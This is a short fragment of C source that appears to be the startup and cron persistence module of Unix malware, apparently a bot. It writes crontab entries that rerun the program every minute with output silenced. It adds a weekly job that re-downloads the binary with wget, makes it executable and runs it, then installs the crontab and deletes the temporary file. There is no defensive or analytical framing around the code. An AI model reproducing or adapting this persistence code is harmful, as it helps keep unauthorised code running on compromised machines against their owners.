sprintf(cron,"* * * * * ");
if (strcmp(cwd,"/")) {
while(argv[0][i] != '/') i--;
sprintf(outfile,"%s%s",cwd,argv[0]+i);
while(!feof(file)) {
fgets(buf,1024,file);
if (!strcasecmp(buf,outfile)) d++;
}
strcat(cron,outfile);
strcat(cron," >/dev/null 2>&1\n");
sprintf(tmp,"@weekly wget -O %s;chmod +x %s;%s >/dev/null 2>&1\n",outfile,outfile,outfile);
strcat(cron,tmp);
if (d == 0) {
FILE *out;
fclose(file);
out=fopen(str,"a");
if (out != NULL) {
fputs(cron,out);
fclose(out);
}
system("crontab /tmp/cron;rm -rf /tmp/cron");
}
else fclose(file);
}
else fclose(file);
}
#endif
/* end of startup / cron mod */